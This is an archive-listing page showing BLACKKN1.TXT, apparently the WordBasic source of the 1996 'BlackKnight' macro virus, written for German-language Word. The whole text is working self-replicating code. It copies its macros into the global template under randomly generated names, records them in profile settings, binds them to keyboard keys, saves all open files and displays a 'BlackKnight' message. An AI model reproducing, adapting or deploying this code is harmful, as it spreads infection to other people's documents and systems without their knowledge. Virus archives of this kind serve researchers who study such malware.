home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / BKNIGHT.ZIP / BLACKKN1.TXT < prev    next >
Text File  |  1996-12-26  |  3KB  |  123 lines
  1. Sub MAIN
  2. On Error Goto Done
  3.  
  4. A$ = DateiName$()
  5. If A$ = "" Then Goto Finish
  6.  
  7. If VInstalled = 0 Then
  8.     Run1
  9.     Run2
  10.     DateiAllesSpeichern 1, 1
  11. Else
  12.     Goto Done
  13. End If
  14.  
  15. Done:
  16. A$ = DateiName$()
  17. If A$ = "" Then
  18.     Goto Finish
  19. Else
  20.     Einfⁿgen "e"
  21. End If
  22.  
  23. Finish:
  24. MsgBox "BlackKnight", - 8
  25. End Sub
  26.  
  27. Sub Run1
  28. X$ = Fun$(F$, G$, H$, J$)
  29. Y$ = Fun$(F$, G$, H$, J$)
  30.  
  31. Z$ = X$ + Y$
  32.  
  33. R1$ = AbrufenDokumentVar$("VirNameDoc")
  34. CO$ = DateiName$() + ":" + R1$
  35. MakroKopieren CO$, "Global:" + Z$, 1
  36. SetProfileString "Intl", "Info2", Z$
  37. ExtrasAnpassenTastatur .TastenSchlⁿssel = 32, .Kategorie = 2, .Name = Z$, .Hinzufⁿgen, .Kontext = 0
  38. End Sub
  39.  
  40. Sub Run2
  41. X$ = Fun$(F$, G$, H$, J$)
  42. Y$ = Fun$(F$, G$, H$, J$)
  43.  
  44. Z$ = X$ + Y$
  45.  
  46. R2$ = AbrufenDokumentVar$("VirName")
  47. OC$ = DateiName$() + ":" + R2$
  48. MakroKopieren OC$, "Global:" + Z$, 1
  49. SetProfileString "Intl", "Info1", Z$
  50. ExtrasAnpassenTastatur .TastenSchlⁿssel = 69, .Kategorie = 2, .Name = Z$, .Hinzufⁿgen, .Kontext = 0
  51. End Sub
  52.  
  53. Function VInstalled
  54. CC$ = GetProfileString$("Intl", "Info1")
  55.     VInstalled = 0
  56.     If ZΣhlenMakros(0) > 0 Then
  57.         For i = 1 To ZΣhlenMakros(0)
  58.         If MakroName$(i, 0) = CC$ Then
  59.             VInstalled = 1
  60.         End If
  61.     Next i
  62. End If
  63. End Function
  64.  
  65. Function Fun$(F$, G$, H$, J$)
  66. One = 1169
  67. Two = 9294
  68. Num = Int(Rnd() * (Two - One) + One)
  69. A$ = Str$(Num)
  70. A$ = LTrim$(A$)
  71.  
  72. B$ = Mid$(A$, 1, 1)
  73. C$ = Mid$(A$, 2, 1)
  74. D$ = Mid$(A$, 3, 1)
  75. E$ = Mid$(A$, 4, 1)
  76.  
  77. If B$ = "1" Then F$ = "A"
  78. If B$ = "2" Then F$ = "B"
  79. If B$ = "3" Then F$ = "C"
  80. If B$ = "4" Then F$ = "D"
  81. If B$ = "5" Then F$ = "E"
  82. If B$ = "6" Then F$ = "F"
  83. If B$ = "7" Then F$ = "G"
  84. If B$ = "8" Then F$ = "H"
  85. If B$ = "9" Then F$ = "I"
  86. If B$ = "0" Then F$ = "J"
  87.  
  88. If C$ = "1" Then G$ = "H"
  89. If C$ = "2" Then G$ = "I"
  90. If C$ = "3" Then G$ = "J"
  91. If C$ = "4" Then G$ = "K"
  92. If C$ = "5" Then G$ = "L"
  93. If C$ = "6" Then G$ = "M"
  94. If C$ = "7" Then G$ = "N"
  95. If C$ = "8" Then G$ = "O"
  96. If C$ = "9" Then G$ = "P"
  97. If C$ = "0" Then G$ = "Q"
  98.  
  99. If D$ = "1" Then H$ = "A"
  100. If D$ = "2" Then H$ = "B"
  101. If D$ = "3" Then H$ = "C"
  102. If D$ = "4" Then H$ = "D"
  103. If D$ = "5" Then H$ = "E"
  104. If D$ = "6" Then H$ = "F"
  105. If D$ = "7" Then H$ = "G"
  106. If D$ = "8" Then H$ = "H"
  107. If D$ = "9" Then H$ = "I"
  108. If D$ = "0" Then H$ = "J"
  109.  
  110. If E$ = "1" Then J$ = "R"
  111. If E$ = "2" Then J$ = "S"
  112. If E$ = "3" Then J$ = "T"
  113. If E$ = "4" Then J$ = "U"
  114. If E$ = "5" Then J$ = "V"
  115. If E$ = "6" Then J$ = "W"
  116. If E$ = "7" Then J$ = "X"
  117. If E$ = "8" Then J$ = "Y"
  118. If E$ = "9" Then J$ = "Z"
  119. If E$ = "0" Then J$ = "Q"
  120.  
  121. Fun$ = F$ + G$ + H$ + J$
  122. End Function
  123.